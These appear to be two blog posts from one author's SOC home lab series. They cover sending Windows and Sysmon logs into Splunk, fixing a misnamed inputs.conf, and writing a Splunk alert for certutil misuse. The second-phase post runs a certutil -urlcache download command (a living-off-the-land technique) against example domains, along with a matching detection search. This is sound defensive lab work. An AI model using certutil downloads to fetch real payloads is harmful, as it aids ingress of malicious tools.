DEV Community: Samuel Kolade

Building a SOC Home Lab II: Local Threat Emulation & SPL Detection Engineering

Samuel Kolade — Sun, 04 Oct 2026 21:13:04 +0000

In Part I of this series, I laid the foundation for this SOC home lab: a Windows 11 endpoint (WIN11-TARGET) and a Xubuntu SIEM (soc-siem), with Sysmon and PowerShell logging configured and routed into Splunk through the Universal Forwarder.

Collecting logs is only half the work. This phase is about actually using that telemetry, simulating a local threat, writing a detection rule against it, and verifying the whole pipeline fires correctly.

Before Starting: Creating a Dedicated Index

Before the detection work, I wanted Windows telemetry sitting in its own index rather than mixed into Splunk's default main. I edited inputs.conf to assign every stanza to a new index, windows:

@'
[WinEventLog://Application]
disabled = 0
index = windows

[WinEventLog://Security]
disabled = 0
index = windows

[WinEventLog://System]
disabled = 0
index = windows

[WinEventLog://Microsoft-Windows-PowerShell/Operational]
disabled = 0
index = windows

[XmlWinEventLog://Microsoft-Windows-Sysmon/Operational]
disabled = 0
index = windows
'@ | Set-Content "C:\Program Files\SplunkUniversalForwarder\etc\system\local\inputs.conf"

Searching index=windows in Splunk came back empty. index=main still had data, which told me the new index didn't actually exist on the Splunk Enterprise side yet. Declaring an index in inputs.conf doesn't create it on its own.

While sorting this out, I made two changes: I created the windows index through Splunk Web (Settings → Indexes → New Index), and I also switched the Sysmon input from WinEventLog to XmlWinEventLog, trying to rule out whether the input type itself was the problem. Looking back, the missing index was almost certainly the actual cause, Splunk drops events headed for an index that doesn't exist rather than storing them somewhere else. But the XmlWinEventLog change was already in place by the time things started working, so that's what stayed.

After creating the index, index=windows started returning results.

Phase 1: Local Threat Emulation (LOLBin Simulation)

To test the SIEM, I needed realistic malicious telemetry. Attackers frequently abuse trusted, built-in Windows utilities, known as Living-off-the-Land Binaries (LOLBins), to execute attacks while blending in with normal administrative traffic.

A classic example mapped to MITRE ATT&CK (T1105: Ingress Tool Transfer) is the abuse of certutil.exe. While normally used for certificate services, adversaries leverage its URL caching features to download malicious payloads.

To simulate this on the Windows 11 endpoint, I navigated to a highly writable directory to bypass standard folder restrictions, then executed the payload download:

powershell
cd C:\Users\Public
certutil.exe -urlcache -split -f "http://example.com" test.txt

This command reaches out to an external domain, caches the file, and drops it on disk. Sysmon and PowerShell script block logging record the process creation and command-line execution, forwarding it to Splunk.

Phase 2: Raw Telemetry Validation in Splunk

Switching to the Xubuntu workstation, I needed to verify the telemetry landed and contained the artifacts needed for a detection rule.

In Search & Reporting, I ran a broad query over the last 15 minutes:

spl

index=windows "urlcache"

Expanding the resulting event showed the ProcessName (certutil.exe) and the full CommandLine containing the exact execution string.

The pipeline works, but a keyword search like this isn't a detection rule.

Phase 3: Detection Engineering & SPL Refinement

A rule that simply watches for certutil.exe would drown the SOC in false positives, since legitimate certificate operations use the same binary constantly. What actually distinguishes malicious use is the specific flags attackers rely on for payload retrieval and decoding.

spl

index=windows certutil.exe ("-urlcache" OR "-split" OR "-f" OR "-decode")

This narrows the results to executions attempting to download or decode files, rather than flagging every routine certutil call.

Phase 4: Real-Time Alerting & Validation

Catching an event manually during a threat hunt is useful, but a SOC relies on automation to triage threats quickly. I converted the SPL query into an active alert.

In Splunk Web:

Save As > Alert
Title: Suspicious CertUtil Download Flags Detected
Alert Type: Real-time
Trigger Condition: Per-Result
Trigger Actions: Add to Triggered Alerts

I used Real-time here for testing purposes. In a production environment, scheduled searches are the more common choice, real-time search is resource-intensive and generally reserved for cases that genuinely need second-by-second detection.

To validate the pipeline end to end, I returned to the Windows 11 machine and ran a slightly modified command:

powershell

certutil.exe -urlcache -split -f "http://example.org" alert_test.txt

Checking Activity > Triggered Alerts in Splunk, the rule fired as expected.

Conclusion & Next Steps

This phase turned the lab from a log collector into something that actually filters and alerts on adversarial behavior, with a dedicated index keeping that telemetry separate from everything else flowing through Splunk.

Next, I'm introducing Kali Linux to simulate remote network attacks and mapping that network-level telemetry into the same SIEM.

Building a SOC Home Lab I: Ingesting Windows & Sysmon Logs into Splunk

Samuel Kolade — Fri, 21 Aug 2026 09:23:44 +0000

Building a SOC lab is more useful when the components are actually configured, tested, and troubleshot rather than simply installed.

For this stage of the lab, I set up a small virtualized environment in VMware Workstation: a Windows 11 endpoint feeding telemetry into Splunk Enterprise running on Xubuntu, with Sysmon added on top for more useful endpoint data. Along the way, the Universal Forwarder ran into a configuration problem that traced back to something as small as a file extension. Chasing it down taught me more about how the pipeline actually fits together than the install itself did.

1. Lab Architecture

The lab currently runs on two VMs.

SIEM

Xubuntu

Hostname: soc-siem
IP address: 192.168.242.128
Role: Splunk Enterprise

Splunk Enterprise listens for forwarded data on TCP 9997.

Endpoint

Windows 11

Hostname: WIN11-TARGET
IP address: 192.168.242.129
Role: Windows endpoint

This VM runs the Splunk Universal Forwarder and Sysmon. The Forwarder picks up selected Windows Event Log channels and ships them to the SIEM.

Architecture

I mapped the actual data flow in draw.io rather than reusing a generic SOC diagram. It only has two boxes right now, but I wanted the diagram to represent the lab as it exists, not as it will eventually look.

Sysmon runs alongside the standard Windows Event Log channels on the endpoint, and the Forwarder collects from both.

2. Installing the Splunk Universal Forwarder

Installing the Forwarder on the Windows 11 endpoint was the easy part. During setup, I pointed it at the SIEM directly:

192.168.242.128

with the receiving port:

At this point I hadn't actually verified the network path. I'd just assumed that because the installer accepted the IP and port without complaint, the connection would work. That assumption turned out to be correct, but it's worth calling out because it's exactly the kind of thing you shouldn't take on faith once something isn't working later.

3. Configuring Windows Event Log Inputs

Installing the Forwarder doesn't mean anything gets collected until you tell it what to watch. That's handled through inputs.conf.

On the endpoint, I opened Notepad as Administrator and edited:

C:\Program Files\SplunkUniversalForwarder\etc\system\local\inputs.conf

with these inputs:

[WinEventLog://Application]
disabled = 0

[WinEventLog://Security]
disabled = 0

[WinEventLog://System]
disabled = 0

[WinEventLog://Microsoft-Windows-PowerShell/Operational]
disabled = 0

I saved the file, restarted the Forwarder service, and moved on, expecting to see events in Splunk shortly after.

4. Troubleshooting the inputs.conf.txt Problem

I didn't see anything. No Application logs, no Security logs, nothing.

My first instinct was to assume the whole setup was broken somewhere. Maybe the Forwarder wasn't actually pointed at the right indexer, maybe the receiving port wasn't open on the Xubuntu side. Rather than start changing settings at random, I worked backward through the pipeline one layer at a time.

Checking the network first

Before touching any Splunk configuration, I wanted to rule out the network entirely. From an elevated PowerShell session on Windows:

Test-NetConnection -ComputerName 192.168.242.128 -Port 9997

TcpTestSucceeded : True

The connection was fine. Whatever was wrong, it wasn't the network, so I stopped looking there and turned to the endpoint's own configuration.

Finding the actual problem

I listed the contents of the Forwarder's local config directory:

Get-ChildItem "C:\Program Files\SplunkUniversalForwarder\etc\system\local"

There was no inputs.conf. Instead there was inputs.conf.txt (Notepad had quietly appended the extension when I saved), and, on top of that, a directory named inputs.conf that had gotten created at some point, presumably from an earlier attempt where something tried to write to a path that didn't exist yet. Splunk had never actually been reading the file I thought I'd configured.

It's a small mistake, but it's the kind that's easy to miss precisely because the file looks right in the editor. Nothing about the content was wrong. The name was.

Fixing it

Remove-Item "C:\Program Files\SplunkUniversalForwarder\etc\system\local\inputs.conf" -Recurse -Force

Rename-Item "C:\Program Files\SplunkUniversalForwarder\etc\system\local\inputs.conf.txt" "inputs.conf"

Restart-Service SplunkForwarder

Removed the stray directory, renamed the real config file into place, restarted the service. The fix itself took seconds. Finding it was the actual work.

What stuck with me from this wasn't the rename. It was the order I worked in: check the network before assuming the SIEM is broken, check the endpoint's local config before assuming Splunk itself is misbehaving. Isolating layers instead of guessing is the difference between a five-minute fix and an afternoon of randomly changing settings.

5. Verifying Windows Event Log Ingestion

With the correct inputs.conf in place, I generated some activity on the endpoint and went back to Splunk Web on the Xubuntu VM to check.

In Search & Reporting:

index=*

Windows Event Log data was there.

Pipeline confirmed, end to end:

Windows Event Logs
       ↓
Splunk Universal Forwarder
       ↓
TCP 9997
       ↓
Splunk Enterprise
       ↓
Splunk Search

6. Expanding Endpoint Telemetry with Sysmon

Standard Windows Event Logs get you a baseline, but they're limited for anything resembling real investigation work. Sysmon fills that gap: process creation, network connections, and more, depending on the config in use.

I added the Sysmon Operational channel to inputs.conf:

[WinEventLog://Microsoft-Windows-Sysmon/Operational]
disabled = 0

Restarted the Forwarder:

Restart-Service SplunkForwarder

Generated some activity, checked Splunk again.

Sysmon Event ID 1 alone (process creation) already gives a lot more to work with than a generic Windows log entry. It's the difference between knowing something happened and knowing what process did it, when, and from where.

7. What I Took Away From This

The setup itself wasn't hard. The useful part was everything around the mistake.

Configs can look correct and still be wrong. inputs.conf became inputs.conf.txt without any error, warning, or indication that something had gone sideways. The file looked fine in Notepad. It just wasn't the file Splunk was reading. That's a cheap lesson to learn on a home lab and a much more expensive one to learn on the job.

Isolating the failure mattered more than fixing it. Checking network reachability before touching Splunk's config saved me from chasing the wrong problem. If Test-NetConnection had failed, I'd have known immediately the issue was on the SIEM side or somewhere in between, not in a config file.

And more logs isn't the same as more capability. Sysmon gives me a lot more raw material to work with, but a pile of events sitting in an index doesn't do anything on its own. That's the next problem to solve, not this one.

8. Current Lab State

SIEM
Xubuntu, Splunk Enterprise, receiving on TCP 9997

Endpoint
Windows 11, Splunk Universal Forwarder, Windows Event Logs + Sysmon

Telemetry flow

Windows 11 -- Windows Event Logs -- Sysmon -- Splunk Universal Forwarder -- TCP 9997 -- Splunk Enterprise (Splunk Search & Reporting)

The pipeline works. Right now it's collecting logs, not doing anything with them. That's the actual gap to close next.

Next Steps

Build SPL searches against the Windows and Sysmon data actually sitting in the index.
Turn some of those searches into detections instead of one-off queries.
Put together dashboards for endpoint activity.
Bring Kali Linux into the lab as a controlled attack source.
Generate activity against the Windows endpoint and see what it actually looks like in Splunk.
Use that telemetry to investigate, not just observe.

Right now this is a working log pipeline. The next few articles are about turning it into something that behaves more like a SOC.